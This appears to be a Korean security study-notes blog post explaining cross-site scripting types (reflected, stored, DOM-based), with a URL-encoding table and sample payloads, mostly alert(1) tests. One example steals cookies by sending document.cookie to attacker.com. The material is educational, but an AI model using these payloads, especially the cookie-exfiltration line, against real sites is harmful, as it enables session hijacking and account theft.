XSS (Cross-Site Scripting)
사용자의 웹 브라우저에서 악성 스크립트는 실행시키는 공격입니다.
공격자가 악성 javascript 코드를 웹 사이트에 삽입하고, 다른 사용자의 브라우저에서 그 코드를 실행시키도록 만드는 취약점입니다.
XSS 종류
1. Reflected XSS (반사형)
- 피해자가 URL에 포함된 악성 코드를 클릭하여 실행되는 공격입니다.
- 피해자가 스스로 URL을 클릭하였을 때, 서버는 그 입력값을 그대로 피해자에게 렌더링 하기에 공격 코드가 반사되어 돌아옵니다.
http://example.com/search?q=<script>alert(1)</script>
- 위 같은 URL를 사용자가 클릭할 시, <script> 구문을 서버가 그대로 HTML에 넣어서 반환하게됩니다.
- 그 후 사용자의 브라우저가 그 코드를 실행하면서 공격이 이루어집니다.
2. Stored XSS (저장형)
- 공격자가 악성 스크립트는 데이터베이스에 저장시킴으로써 실행되는 공격입니다.
- 게시판의 글이나 댓글 등에 악성 스크립트를 심고, 사용자가 그 페이지를 여는 순간 자동으로 실행되며 공격이 이루어집니다.
- 게시판에 <script>alert(1)</script> 라는 글을 해커가 작성하고 글을 올리면, 누군가가 그 글을 클릭했을 때 <script> 구문이 실행되며 공격이 이루어집니다.
3. DOM-based XSS (Document Object Model 기반)
- 위의 공격들과 다르게 서버가 악성 스크립트에 응답하지 않는 공격 기법입니다.
- 대신 클라이언트 측의 javascript를 동작시켜 공격하는 방법입니다.
- 공격자가 공격 스크립트가 담긴 DOM 페이지를 작성 후 다른 사용자가 그 페이지를 열어볼 시 공격이 실행됩니다.
- 반사형 처럼 URL을 통해서도, 저장형처럼 글이나 댓글 등의 방법으로도 공격이 이루어 질 수 있습니다.
XSS 구문 예시
0. 자주 쓰는 문자 인코딩
- < → %3C
- > → %3E
- " → %22
- ' → %27
- ( → %28
- ) → %29
- ; → %3B
- / → %2F
- \ → %5C
- : → %3A
- = → %3D
- & → %26
- + → %2B
- # → %23
- ? → %3F
- 공백 → %20 또는 +
- \t (탭) → %09
- \n (개행, LF) → %0A
- \r (캐리지 리턴, CR) → %0D
- \r\n → %0D%0A
1. <script> 태그 기반 페이로드
- 기본적인 구조 : http://example.com/search?q=<script>alert(1)</script>
- 쿠키 탈취 예시 : <script>fetch('http://attacker.com/log?cookie='+document.cookie)</script>
2. <img> 태그, 이벤트 기반
- 이미지 로딩 실패시 alert를 실행 시키는 방법 : http://example.com/search?q=<img src=x onerror=alert(1)>
3. <svg> 태그, 이벤트 기반
- http://example.com/search?q=<svg onload=alert(1)>
4. <iframe> 태그, javascript: Scheme
- http://example.com/search?q=<iframe src="javascript:alert(1)">
5. <a href="..."> 링크형
- http://example.com/search?q=<a href="javascript:alert(1)">클릭하세요</a>
'보안 > 이론 정리' 카테고리의 다른 글
| 웹 해킹 - Error Based SQL Injection (0) | 2025.07.08 |
|---|---|
| HTTP 요청의 구조와 헤더의 역할 (0) | 2025.07.07 |
| 웹 해킹 - Command Injection (0) | 2025.04.30 |
| 웹 해킹 - SQL Injection (0) | 2025.04.29 |
| 웹 해킹 - CSRF (0) | 2025.04.24 |